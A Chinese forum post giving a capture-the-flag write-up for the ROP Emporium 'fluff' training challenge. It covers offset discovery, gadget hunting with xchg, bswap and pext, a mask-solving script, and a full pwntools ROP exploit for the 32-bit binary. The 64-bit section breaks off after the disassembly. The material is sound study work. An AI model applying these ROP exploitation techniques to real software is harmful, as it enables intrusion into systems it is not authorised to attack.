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[原创]writeup-ROP Emporium fluff
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发表于: 2022-3-26 12:37
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ROP Emporium的题曾经在2020年7月有过更新。比如，大多题目去掉了system函数，不能再获取shell，而是通过so中的print_file来获取flag；一些题目rop链可利用的指令也变了，更有挑战性，比如fluff 这道题。
当然有很多没变的，比如溢出点，32位程序偏移44字节，64位程序偏移40字节。
1. fluff32
信息收集
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$ file fluff32
fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped
$ ldd fluff32 linux-gate.so.1 (0xf7f11000)
libfluff32.so => ./libfluff32.so (0xf7f09000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)
/lib/ld-linux.so.2 (0xf7f12000)
$ checksec libfluff32.so[*] '/home/starr/Documents/CProject/pwn/libfluff32.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ readelf -S fluff32 | grep .data
[16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
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黑盒测试
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$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./fluff32 < cyclic.txt
fluff by ROP Emporiumx86You know changing these strings means I have to rewrite my solutions...> Thank you!Segmentation fault (core dumped)$ gdb ./fluff32 fluff32.core.9153
...Core was generated by `./fluff32'.
Program terminated with signal SIGSEGV, Segmentation fault.#0 0x6161616c in ?? ()pwndbg> cyclic -l 0x6161616c
44 |
溢出点偏移44字节。
反汇编
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$ objdump -d -M intel fluff32
080483b0 080483d0 08048506 :
8048506: 8d 4c 24 04 lea ecx,[esp+0x4]
804850a: 83 e4 f0 and esp,0xfffffff0
...
8048514: 83 ec 04 sub esp,0x4
8048517: e8 94 fe ff ff call 80483b0 ...
0804852a 804852a: 55 push ebp
804852b: 89 e5 mov ebp,esp
804852d: 83 ec 08 sub esp,0x8
8048530: 83 ec 0c sub esp,0xc
8048533: 68 e0 85 04 08 push 0x80485e0
8048538: e8 93 fe ff ff call 80483d0 ...
08048543 8048543: 89 e8 mov eax,ebp
8048545: bb ba ba ba b0 mov ebx,0xb0bababa
804854a: c4 e2 62 f5 d0 pext edx,ebx,eax
804854f: b8 ef be ad de mov eax,0xdeadbeef
8048554: c3 ret
8048555: 86 11 xchg BYTE PTR [ecx],dl
8048557: c3 ret
8048558: 59 pop ecx
8048559: 0f c9 bswap ecx
804855b: c3 ret
$ objdump -d -M intel libfluff32.so
0000069d ...
6ed: 6a 20 push 0x20
6ef: 6a 00 push 0x0
6f1: 8d 45 d8 lea eax,[ebp-0x28]
6f4: 50 push eax
6f5: e8 86 fe ff ff call 580 ...
724: 68 00 02 00 00 push 0x200
729: 8d 45 d8 lea eax,[ebp-0x28]
72c: 50 push eax
72d: 6a 00 push 0x0
72f: e8 cc fd ff ff call 500 ...
0000074f ...
772: ff 75 08 push DWORD PTR [ebp+0x8]
775: e8 f6 fd ff ff call 570 ...
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ROP chain
乍一看这一题和write4那道题差不多，想着把”flag.txt“写进.data，但搜一下mov gadget的话，并没有以可控内存地址为目标的mov指令。
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pwndbg> rop --grep "mov"
...0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov eax, 0xdeadbeef ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804837d : mov edi, 0x81000000 ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
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先搜下pop吧：
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pwndbg> rop --grep "pop"
...0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048399 : pop ebx ; ret
0x08048558 : pop ecx ; bswap ecx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048527 : popal ; cld ; ret
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然后考虑怎么写字符串的问题。
其实除了mov还有很多指令可以利用，比如作者在questionableGadgets提供的xchg指令。
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pwndbg> rop --grep "xchg"
0x08048553 : faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048552 : lodsd eax, dword ptr [esi] ; faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048555 : xchg byte ptr [ecx], dl ; ret
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0x08048555这条xchg指令交换了内存和寄存器的一个字节，可以代替mov指令。但要想成功利用，需要能够控制ecx和edx寄存器，让ecx存储.data段地址，edx存储字符串的字符。
刚刚搜索的pop gadget中，有一个pop ecx, 紧跟另一个指令BSWAP（Byte Swap），这个指令可以更改字节序，比如eax==0x11223344, 执行BSWAP eax后，eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。 其实这个指令也是作者在questionableGadgets提供的~
Intel文档截图：
最后要考虑怎么控制edx。在questionableGadgets的开头，mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax可以修改edx。
不过我用上面的rop， 以及 ropgadget， 都没有搜到这一段。。。尴尬了
PEXT （ Parallel Bits Extract）这条指令根据掩码（第二个源操作数），将源寄存器中对应的bit放到目标寄存器中的低位，比如：
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pext output(edx), source(ebx), mask(eax)output = pext(source, mask)
ebx = 0xFFFFFFFF
eax = b1111 0100
->
edx = 0x1F
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Intel文档截图：
刚刚搜索的pop gadget里，0x080485bb有pop ebp指令，然后需要写个脚本，求出正确的掩码（mov eax, ebp），满足以下条件：
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"flag" == pext(0xb0bababa, mask)
".txt" == pext(0xb0bababa, mask)
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用位运算实现下面这段求解掩码的脚本：
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def getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask = 0;
nLastBitFoundInValue = 1;
# find the highest valid bit
nInvalidBits = 0;
for i in range(7): # ascii
if (nOutput & (1 << i)) != 0:
nInvalidBits = i
for i in range(nInvalidBits + 1):
while (nOutput & 1) != (nValue & 1):
nLastBitFoundInValue += 1;
if nLastBitFoundInValue == 33: # 4 Bytes
return False;
nValue = nValue >> 1
# found
nOutput = nOutput >> 1
nValue = nValue >> 1
nMask |= 1 << (nLastBitFoundInValue - 1)
nLastBitFoundInValue += 1
return nMask
strEdx = "flag.txt"
nValue = 0xb0bababa
for c in strEdx:
nMask = getMask(nValue, ord(c))
# print(hex(nMask))
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最终的ROP链：
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padding len 44
for i in range(len("flag.txt"))
pGadgetPopEcx_bswap # 0x08048558 : pop ecx ; bswap ecx ; ret
pDataSection + i # Big Endian pop to ecx
pGadgetPopEbp # 0x080485bb : pop ebp ; ret
nMask # getMask("flag.txt"[i]) pop to ebp
pGadgetPext # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
pPltPrintFile # 0x080483d0
padding # 伪造的返回地址
pDataSection |
Exp
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from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
def getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask = 0;
nLastBitFoundInValue = 1;
# find the highest valid bit
nInvalidBits = 0;
for i in range(7): # ascii
if (nOutput & (1 << i)) != 0:
nInvalidBits = i
for i in range(nInvalidBits + 1):
while (nOutput & 1) != (nValue & 1):
nLastBitFoundInValue += 1;
if nLastBitFoundInValue == 33: # 4 Bytes
return False;
nValue = nValue >> 1
# found
nOutput = nOutput >> 1
nValue = nValue >> 1
nMask |= 1 << (nLastBitFoundInValue - 1)
nLastBitFoundInValue += 1
return nMask
nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0
pDataSection = 0x0804a018
pGadgetPopEcx_bswap = 0x08048558 # pop ecx ; bswap ecx ; ret
pGadgetPopEbp = 0x080485bb # pop ebp ; ret
pGadgetPext = 0x08048543 # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg = 0x08048555 # xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 1. paddingpayload = bytes("A" * nBufOverflowIndex, encoding = "ascii");
# 2. LoopstrEdx = "flag.txt"
nValue = 0xb0bababa
for i in range(len(strEdx)):
nMask = getMask(nValue, ord(strEdx[i]))
# print(hex(nMask))
# 2.1 write .data addr into ecx
payload += p32(pGadgetPopEcx_bswap) # 0x08048558 : pop ecx ; bswap ecx ; ret
payload += p32(pDataSection + i, endianness="big") # Big Endian pop to ecx
# 2.2 write nMask into ebp
payload += p32(pGadgetPopEbp) # 0x080485bb : pop ebp ; ret
payload += p32(nMask) # getMask("flag.txt"[i]) pop to ebp
payload += p32(pGadgetPext) # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
# 2.3 write "flag.txt" into .data
payload += p32(pGadgetXchg) # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 3. print_file("flag.txt")payload += p32(pPltPrintFile) # 0x080483d0
payload += bytes("B" * int(context.bits/8), encoding = "ascii"); # 伪造的返回地址
payload += p32(pDataSection)
io = getio("./fluff32")
io.recvuntil(">")
# # gdb.attach(io)# # pause()io.sendline(payload)print(io.recv(timeout=10))
io.interactive()# [DEBUG] Received 0x2c bytes:# b'Thank you!\n'# b'ROPE{a_placeholder_32byte_flag!}\n'# Thank you!# ROPE{a_placeholder_32byte_flag!} |
2. fluff
64位版本
信息收集
记录一下.data段的地址：
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$ readelf -S fluff | grep .data
[15] .rodata PROGBITS 00000000004006c0 000006c0
[23] .data PROGBITS 0000000000601028 00001028
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反汇编
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$ objdump -d -M intel libfluff.so
00000000000008aa ...
8eb: 48 8d 45 e0 lea rax,[rbp-0x20]
8ef: ba 20 00 00 00 mov edx,0x20
8f4: be 00 00 00 00 mov esi,0x0
8f9: 48 89 c7 mov rdi,rax
8fc: e8 5f fe ff ff call 760 ...
91e: 48 8d 45 e0 lea rax,[rbp-0x20]
922: ba 00 02 00 00 mov edx,0x200
927: 48 89 c6 mov rsi,rax
92a: bf 00 00 00 00 mov edi,0x0
92f: e8 3c fe ff ff call 770 -0x20, 0x200)
...
0000000000000943 943: 55 push rbp
944: 48 89 e5 mov rbp,rsp
947: 48 83 ec 40 sub rsp,0x40
94b: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdi
94f: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
956: 00
957: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38]
95b: 48 8d 35 f4 00 00 00 lea rsi,[rip+0xf4] # a56 <_fini+0x86>
962: 48 89 c7 mov rdi,rax
965: e8 36 fe ff ff call 7a0 ...
$ objdump -d -M intel fluff
0000000000400500 ...0000000000400510 ...0000000000400607 :
...
40060b: e8 f0 fe ff ff call 400500 0000000000400617 ...
40061b: bf c4 06 40 00 mov edi,0x4006c4
400620: e8 eb fe ff ff call 400510 0000000000400628 400628: d7 xlat BYTE PTR ds:[rbx]
400629: c3 ret
40062a: 5a pop rdx
40062b: 59 pop rcx
40062c: 48 81 c1 f2 3e 00 00 add rcx,0x3ef2
400633: c4 e2 e8 f7 d9 bextr rbx,rcx,rdx
400638: c3 ret
400639: aa stos BYTE PTR es:[rdi],al
40063a: c3 ret
40063b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
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最后于 2022-3-26 19:11
被starrQWQ编辑
，原因：
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